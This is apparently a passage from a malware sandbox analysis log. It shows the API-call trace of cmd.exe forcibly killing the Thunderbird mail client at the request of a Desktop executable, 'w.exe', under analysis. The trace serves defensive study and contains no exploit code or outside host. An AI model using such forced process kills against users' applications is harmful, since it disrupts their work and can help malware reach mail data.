	cmd_line = "cmd.exe /c \"taskkill /f /im thunderbird.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 310
	os_tid = 0x9dc

	[0048.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x40f7f8 | out: lpSystemTimeAsFileTime=0x40f7f8*(dwLowDateTime=0x27997a0, dwHighDateTime=0x1d52dc5)) 
	[0048.407] GetCurrentProcessId () returned 0x9d0
	[0048.407] GetCurrentThreadId () returned 0x9dc
	[0048.407] GetTickCount () returned 0x1c467
	[0048.407] QueryPerformanceCounter (in: lpPerformanceCount=0x40f7f0 | out: lpPerformanceCount=0x40f7f0*=16871704173) returned 1
	[0048.408] GetModuleHandleA (lpModuleName=0x0) returned 0x4a720000
	[0048.408] __set_app_type (_Type=0x1) 
	[0048.408] __p__fmode () returned 0x74eb31f4
	[0048.408] __p__commode () returned 0x74eb31fc
	[0048.408] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7421a6) returned 0x0
	[0048.408] __getmainargs (in: _Argc=0x4a744238, _Argv=0x4a744240, _Env=0x4a74423c, _DoWildCard=0, _StartInfo=0x4a744140 | out: _Argc=0x4a744238, _Argv=0x4a744240, _Env=0x4a74423c) returned 0
	[0048.409] GetCurrentThreadId () returned 0x9dc
	[0048.409] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9dc) returned 0x60
	[0048.409] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0048.409] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0048.409] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0048.409] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0048.409] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x40f788 | out: phkResult=0x40f788*=0x0) returned 0x2
	[0048.410] VirtualQuery (in: lpAddress=0x40f7bf, lpBuffer=0x40f758, dwLength=0x1c | out: lpBuffer=0x40f758*(BaseAddress=0x40f000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0048.410] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x40f758, dwLength=0x1c | out: lpBuffer=0x40f758*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0048.410] VirtualQuery (in: lpAddress=0x311000, lpBuffer=0x40f758, dwLength=0x1c | out: lpBuffer=0x40f758*(BaseAddress=0x311000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0048.410] VirtualQuery (in: lpAddress=0x313000, lpBuffer=0x40f758, dwLength=0x1c | out: lpBuffer=0x40f758*(BaseAddress=0x313000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0048.410] VirtualQuery (in: lpAddress=0x410000, lpBuffer=0x40f758, dwLength=0x1c | out: lpBuffer=0x40f758*(BaseAddress=0x410000, AllocationBase=0x410000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0048.410] GetConsoleOutputCP () returned 0x1b5
	[0048.410] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a744260 | out: lpCPInfo=0x4a744260) returned 1
	[0048.410] SetConsoleCtrlHandler (HandlerRoutine=0x4a73e72a, Add=1) returned 1
	[0048.410] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0048.410] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0048.410] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0048.410] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a7441ac | out: lpMode=0x4a7441ac) returned 0
	[0048.411] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0048.411] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a7441b0 | out: lpMode=0x4a7441b0) returned 0
	[0048.411] GetEnvironmentStringsW () returned 0x7c2010*
	[0048.411] GetProcessHeap () returned 0x7b0000
	[0048.411] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xaca) returned 0x7c2ae8
	[0048.411] FreeEnvironmentStringsW (penv=0x7c2010) returned 1
	[0048.411] GetProcessHeap () returned 0x7b0000
	[0048.411] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4) returned 0x7c0c48
	[0048.411] GetEnvironmentStringsW () returned 0x7c2010*
	[0048.411] GetProcessHeap () returned 0x7b0000
	[0048.411] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xaca) returned 0x7c35c0
	[0048.411] FreeEnvironmentStringsW (penv=0x7c2010) returned 1
	[0048.411] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x40e6f8 | out: phkResult=0x40e6f8*=0x68) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x0, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x1, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x1, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x0, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x40, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x40, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x40, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.412] RegCloseKey (hKey=0x68) returned 0x0
	[0048.412] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x40e6f8 | out: phkResult=0x40e6f8*=0x68) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x40, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x1, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x1, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x0, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x9, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x4, lpData=0x40e704*=0x9, lpcbData=0x40e6fc*=0x4) returned 0x0
	[0048.412] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x40e700, lpData=0x40e704, lpcbData=0x40e6fc*=0x1000 | out: lpType=0x40e700*=0x0, lpData=0x40e704*=0x9, lpcbData=0x40e6fc*=0x1000) returned 0x2
	[0048.413] RegCloseKey (hKey=0x68) returned 0x0
	[0048.413] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163039
	[0048.413] srand (_Seed=0x5d163039) 
	[0048.413] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thunderbird.exe \""
	[0048.413] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thunderbird.exe \""
	[0048.413] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a745260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.413] GetProcessHeap () returned 0x7b0000
	[0048.413] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c2010
	[0048.413] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c2018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0048.413] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.413] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.413] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0048.413] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0048.414] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0048.414] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0048.414] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0048.414] GetProcessHeap () returned 0x7b0000
	[0048.414] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c2ae8 | out: hHeap=0x7b0000) returned 1
	[0048.414] GetEnvironmentStringsW () returned 0x7c2228*
	[0048.414] GetProcessHeap () returned 0x7b0000
	[0048.414] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xae2) returned 0x7c4b88
	[0048.414] FreeEnvironmentStringsW (penv=0x7c2228) returned 1
	[0048.414] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0048.414] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0048.414] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0048.414] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0048.414] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0048.414] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0048.414] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0048.414] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0048.414] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0048.414] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0048.414] GetProcessHeap () returned 0x7b0000
	[0048.414] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x54) returned 0x7c5678
	[0048.414] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x40f4c4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.414] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x40f4c4, lpFilePart=0x40f4c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x40f4c0*="Desktop") returned 0x25
	[0048.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0048.415] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x40f240 | out: lpFindFileData=0x40f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7c1e90
	[0048.415] FindClose (in: hFindFile=0x7c1e90 | out: hFindFile=0x7c1e90) returned 1
	[0048.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x40f240 | out: lpFindFileData=0x40f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7c1e90
	[0048.415] FindClose (in: hFindFile=0x7c1e90 | out: hFindFile=0x7c1e90) returned 1
	[0048.415] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0048.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x40f240 | out: lpFindFileData=0x40f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7c1e90
	[0048.415] FindClose (in: hFindFile=0x7c1e90 | out: hFindFile=0x7c1e90) returned 1
	[0048.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0048.415] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0048.415] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0048.415] GetProcessHeap () returned 0x7b0000
	[0048.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4b88 | out: hHeap=0x7b0000) returned 1
	[0048.415] GetEnvironmentStringsW () returned 0x7c4098*
	[0048.416] GetProcessHeap () returned 0x7b0000
	[0048.416] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb36) returned 0x7c5ed8
	[0048.416] FreeEnvironmentStringsW (penv=0x7c4098) returned 1
	[0048.416] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a745260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.416] GetProcessHeap () returned 0x7b0000
	[0048.416] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c5678 | out: hHeap=0x7b0000) returned 1
	[0048.416] GetProcessHeap () returned 0x7b0000
	[0048.416] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400e) returned 0x7c6a18
	[0048.416] GetProcessHeap () returned 0x7b0000
	[0048.416] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x52) returned 0x7c2d68
	[0048.416] GetProcessHeap () returned 0x7b0000
	[0048.416] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4008) returned 0x7caa30
	[0048.417] GetProcessHeap () returned 0x7b0000
	[0048.417] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4008) returned 0x7cea40
	[0048.418] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0048.418] GetProcessHeap () returned 0x7b0000
	[0048.418] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x418) returned 0x7c2dc8
	[0048.418] SetErrorMode (uMode=0x0) returned 0x8003
	[0048.418] SetErrorMode (uMode=0x1) returned 0x0
	[0048.418] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x7c2dd0, lpFilePart=0x40f43c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x40f43c*="f") returned 0x31
	[0048.419] SetErrorMode (uMode=0x8003) returned 0x1
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2dc8, Size=0x94) returned 0x7c2dc8
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2dc8) returned 0x94
	[0048.419] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x72) returned 0x7d2a68
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xd8) returned 0x7c2e68
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2e68, Size=0x72) returned 0x7c2e68
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2e68) returned 0x72
	[0048.419] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a750640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.419] GetProcessHeap () returned 0x7b0000
	[0048.419] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xe0) returned 0x7c2ee8
	[0048.423] GetProcessHeap () returned 0x7b0000
	[0048.423] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c2ee8, Size=0x76) returned 0x7c2ee8
	[0048.423] GetProcessHeap () returned 0x7b0000
	[0048.423] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c2ee8) returned 0x76
	[0048.423] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.423] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im thunderbird.exe ", fInfoLevelId=0x1, lpFindFileData=0x40f1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40f1d8) returned 0xffffffff
	[0048.423] GetLastError () returned 0x3
	[0048.423] GetProcessHeap () returned 0x7b0000
	[0048.423] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caa30 | out: hHeap=0x7b0000) returned 1
	[0048.423] GetProcessHeap () returned 0x7b0000
	[0048.423] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cea40 | out: hHeap=0x7b0000) returned 1
	[0048.423] GetProcessHeap () returned 0x7b0000
	[0048.423] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c6a18 | out: hHeap=0x7b0000) returned 1
	[0048.423] GetConsoleOutputCP () returned 0x1b5
	[0048.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a744260 | out: lpCPInfo=0x4a744260) returned 1
	[0048.423] GetUserDefaultLCID () returned 0x409
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a744950, cchData=8 | out: lpLCData=":") returned 2
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x40f604, cchData=128 | out: lpLCData="0") returned 2
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x40f604, cchData=128 | out: lpLCData="0") returned 2
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x40f604, cchData=128 | out: lpLCData="1") returned 2
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a744940, cchData=8 | out: lpLCData="/") returned 2
	[0048.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a744d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a744d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a744d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a744cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a744c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a744c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a744c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a744930, cchData=8 | out: lpLCData=".") returned 2
	[0048.425] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a744920, cchData=8 | out: lpLCData=",") returned 2
	[0048.425] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0048.426] GetProcessHeap () returned 0x7b0000
	[0048.426] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x20c) returned 0x7c2f68
	[0048.426] GetConsoleTitleW (in: lpConsoleTitle=0x7c2f68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.426] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0048.426] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0048.426] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0048.427] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0048.427] GetProcessHeap () returned 0x7b0000
	[0048.427] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400a) returned 0x7c6a18
	[0048.427] GetProcessHeap () returned 0x7b0000
	[0048.427] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c6a18 | out: hHeap=0x7b0000) returned 1
	[0048.428] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0048.428] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0048.428] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0048.428] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0048.428] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0048.428] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0048.428] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0048.428] GetProcessHeap () returned 0x7b0000
	[0048.428] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x58) returned 0x7c3180
	[0048.428] GetProcessHeap () returned 0x7b0000
	[0048.428] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x1a) returned 0x7c5718
	[0048.428] GetProcessHeap () returned 0x7b0000
	[0048.428] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x3a) returned 0x7c31e0
	[0048.429] GetConsoleTitleW (in: lpConsoleTitle=0x40f2fc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.429] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0048.429] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0048.430] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0048.430] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0048.430] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0048.430] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0048.430] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0048.430] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0048.430] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0048.430] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0048.430] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0048.430] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0048.430] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0048.430] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0048.430] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0048.430] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0048.430] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0048.430] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
